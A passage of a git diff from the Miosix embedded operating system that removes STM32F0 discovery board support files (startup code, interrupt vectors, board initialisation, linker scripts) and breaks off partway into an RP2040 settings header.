-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM0_stm32f0/stm32f030r8_stm32f0discovery/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM0_stm32f0/stm32f030r8_stm32f0discovery/interfaces-impl/bsp_impl.h deleted file mode 100644 index c3e6ab53d..000000000 --- a/miosix/arch/cortexM0_stm32f0/stm32f030r8_stm32f0discovery/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,83 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2024 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio led1; -typedef Gpio led2; -typedef Gpio btn; - -inline void ledOn() -{ - led1::high(); -} - -inline void ledOff() -{ - led1::low(); -} - -///\internal Pin connected to SD card detect -//TODO: no filesystem typedef Gpio sdCardDetect; - -/** - * Polls the SD card sense GPIO - * \return true if there is an uSD card in the socket. - */ -/*TODO: no filesystem -inline bool sdCardSense() -{ - return sdCardDetect::value()==0; -}*/ - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM0_stm32f0/stm32f030r8_stm32f0discovery/stm32_64k+8k_rom.ld b/miosix/arch/cortexM0_stm32f0/stm32f030r8_stm32f0discovery/stm32_64k+8k_rom.ld deleted file mode 100644 index 266656891..000000000 --- a/miosix/arch/cortexM0_stm32f0/stm32f030r8_stm32f0discovery/stm32_64k+8k_rom.ld +++ /dev/null @@ -1,169 +0,0 @@ -/* - * C++ enabled linker script for stm32 (64K FLASH, 8K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in ram - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 8KB microcontrollers */ -_heap_end = 0x20002000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 64K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 8K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM0_stm32f0/stm32f072rb_stm32f0discovery/core/stage_1_boot.cpp b/miosix/arch/cortexM0_stm32f0/stm32f072rb_stm32f0discovery/core/stage_1_boot.cpp deleted file mode 100644 index fd60129d4..000000000 --- a/miosix/arch/cortexM0_stm32f0/stm32f072rb_stm32f0discovery/core/stage_1_boot.cpp +++ /dev/null @@ -1,253 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -void setupClockTree() -{ - #if defined(RUN_WITH_HSI) && defined(SYSCLK_FREQ_32MHz) - RCC->CR |= RCC_CR_HSION; - while((RCC->CR & RCC_CR_HSIRDY)==0) ; - RCC->CR &= ~RCC_CR_PLLON; - while(RCC->CR & RCC_CR_PLLRDY) ; - RCC->CFGR &= ~RCC_CFGR_SW; //Selects HSI - RCC->CFGR = RCC_CFGR_PLLMUL4 //4*8=32MHz - | RCC_CFGR_PLLSRC_HSI_PREDIV; - RCC->CR |= RCC_CR_PLLON; - while((RCC->CR & RCC_CR_PLLRDY)==0) ; - FLASH->ACR &= ~FLASH_ACR_LATENCY; - FLASH->ACR |= 1; //1 wait state for freq > 24MHz - RCC->CFGR |= RCC_CFGR_SW_PLL; - #else - #error "Unsupported clock configuration" - #endif -} - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M0 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - - SystemInit(); - setupClockTree(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movs r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -// These system handlers are present in Miosix but not supported by the -// architecture, so are defined as weak -// void __attribute__((weak)) MemManage_Handler(); -// void __attribute__((weak)) BusFault_Handler(); -// void __attribute__((weak)) UsageFault_Handler(); -// void __attribute__((weak)) DebugMon_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_VDDIO2_IRQHandler(); -void __attribute__((weak)) RTC_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_CRS_IRQHandler(); -void __attribute__((weak)) EXTI0_1_IRQHandler(); -void __attribute__((weak)) EXTI2_3_IRQHandler(); -void __attribute__((weak)) EXTI4_15_IRQHandler(); -void __attribute__((weak)) TSC_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_5_6_7_IRQHandler(); -void __attribute__((weak)) ADC1_COMP_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_UP_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) TIM14_IRQHandler(); -void __attribute__((weak)) TIM15_IRQHandler(); -void __attribute__((weak)) TIM16_IRQHandler(); -void __attribute__((weak)) TIM17_IRQHandler(); -void __attribute__((weak)) I2C1_IRQHandler(); -void __attribute__((weak)) I2C2_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_4_IRQHandler(); -void __attribute__((weak)) CEC_CAN_IRQHandler(); -void __attribute__((weak)) USB_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - WWDG_IRQHandler, /* Window WatchDog */ - PVD_VDDIO2_IRQHandler, /* PVD and VDDIO2 through EXTI Line detect */ - RTC_IRQHandler, /* RTC through the EXTI line */ - FLASH_IRQHandler, /* FLASH */ - RCC_CRS_IRQHandler, /* RCC and CRS */ - EXTI0_1_IRQHandler, /* EXTI Line 0 and 1 */ - EXTI2_3_IRQHandler, /* EXTI Line 2 and 3 */ - EXTI4_15_IRQHandler, /* EXTI Line 4 to 15 */ - TSC_IRQHandler, /* TSC */ - DMA1_Channel1_IRQHandler, /* DMA1 Channel 1 */ - DMA1_Channel2_3_IRQHandler, /* DMA1 Channel 2 and Channel 3 */ - DMA1_Channel4_5_6_7_IRQHandler, /* DMA1 Channel 4, Channel 5, Channel 6 and Channel 7*/ - ADC1_COMP_IRQHandler, /* ADC1, COMP1 and COMP2 */ - TIM1_BRK_UP_TRG_COM_IRQHandler, /* TIM1 Break, Update, Trigger and Commutation */ - TIM1_CC_IRQHandler, /* TIM1 Capture Compare */ - TIM2_IRQHandler, /* TIM2 */ - TIM3_IRQHandler, /* TIM3 */ - TIM6_DAC_IRQHandler, /* TIM6 and DAC */ - TIM7_IRQHandler, /* TIM7 */ - TIM14_IRQHandler, /* TIM14 */ - TIM15_IRQHandler, /* TIM15 */ - TIM16_IRQHandler, /* TIM16 */ - TIM17_IRQHandler, /* TIM17 */ - I2C1_IRQHandler, /* I2C1 */ - I2C2_IRQHandler, /* I2C2 */ - SPI1_IRQHandler, /* SPI1 */ - SPI2_IRQHandler, /* SPI2 */ - USART1_IRQHandler, /* USART1 */ - USART2_IRQHandler, /* USART2 */ - USART3_4_IRQHandler, /* USART3 and USART4 */ - CEC_CAN_IRQHandler, /* CEC and CAN */ - USB_IRQHandler /* USB */ -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_VDDIO2_IRQHandler = Default_Handler -#pragma weak RTC_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_CRS_IRQHandler = Default_Handler -#pragma weak EXTI0_1_IRQHandler = Default_Handler -#pragma weak EXTI2_3_IRQHandler = Default_Handler -#pragma weak EXTI4_15_IRQHandler = Default_Handler -#pragma weak TSC_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_5_6_7_IRQHandler = Default_Handler -#pragma weak ADC1_COMP_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_UP_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak TIM14_IRQHandler = Default_Handler -#pragma weak TIM15_IRQHandler = Default_Handler -#pragma weak TIM16_IRQHandler = Default_Handler -#pragma weak TIM17_IRQHandler = Default_Handler -#pragma weak I2C1_IRQHandler = Default_Handler -#pragma weak I2C2_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_4_IRQHandler = Default_Handler -#pragma weak CEC_CAN_IRQHandler = Default_Handler -#pragma weak USB_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM0_stm32f0/stm32f072rb_stm32f0discovery/interfaces-impl/bsp.cpp b/miosix/arch/cortexM0_stm32f0/stm32f072rb_stm32f0discovery/interfaces-impl/bsp.cpp deleted file mode 100644 index 82b05ba72..000000000 --- a/miosix/arch/cortexM0_stm32f0/stm32f072rb_stm32f0discovery/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,131 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Silvano Seva * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/dcc.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHBENR |= RCC_AHBENR_GPIOAEN | RCC_AHBENR_GPIOBEN | - RCC_AHBENR_GPIOCEN | RCC_AHBENR_GPIODEN | - RCC_AHBENR_GPIOEEN | RCC_AHBENR_GPIOFEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xffffffff; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xffffffff; - GPIOC->OSPEEDR=0xffffffff; - GPIOD->OSPEEDR=0xffffffff; - GPIOE->OSPEEDR=0xffffffff; - GPIOF->OSPEEDR=0xffffffff; - _led::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - #ifndef STDOUT_REDIRECTED_TO_DCC - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); - #else //STDOUT_REDIRECTED_TO_DCC - new ARMDCC)); - #endif //STDOUT_REDIRECTED_TO_DCC -} - -void bspInit2() -{ -// #ifdef WITH_FILESYSTEM -// basicFilesystemSetup(); -// #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM0_stm32f0/stm32f072rb_stm32f0discovery/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM0_stm32f0/stm32f072rb_stm32f0discovery/interfaces-impl/bsp_impl.h deleted file mode 100644 index b7e8e403e..000000000 --- a/miosix/arch/cortexM0_stm32f0/stm32f072rb_stm32f0discovery/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,81 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 by Silvano Seva * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::high(); -} - -inline void ledOff() -{ - _led::low(); -} - -///\internal Pin connected to SD card detect -//TODO: no filesystem typedef Gpio sdCardDetect; - -/** - * Polls the SD card sense GPIO - * \return true if there is an uSD card in the socket. - */ -/*TODO: no filesystem -inline bool sdCardSense() -{ - return sdCardDetect::value()==0; -}*/ - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM0_stm32f0/stm32f072rb_stm32f0discovery/stm32_128k+16k_rom.ld b/miosix/arch/cortexM0_stm32f0/stm32f072rb_stm32f0discovery/stm32_128k+16k_rom.ld deleted file mode 100644 index 666065089..000000000 --- a/miosix/arch/cortexM0_stm32f0/stm32f072rb_stm32f0discovery/stm32_128k+16k_rom.ld +++ /dev/null @@ -1,169 +0,0 @@ -/* - * C++ enabled linker script for stm32 (128K FLASH, 16K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in ram - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 16KB microcontrollers */ -_heap_end = 0x20004000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 128K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 16K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM0plus_rp2040/common/arch_settings.h b/miosix/arch/cortexM0plus_rp2040/common/arch_settings.h deleted file mode 100644 index 744a45775..000000000 --- a/miosix/arch/cortexM0plus_rp2040/common/arch_settings.h +++ /dev/null @@ -1,56 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// \internal Size of vector to store registers during ctx switch (9*4=36Bytes) -/// Only sp and r4-r11 are saved here, since 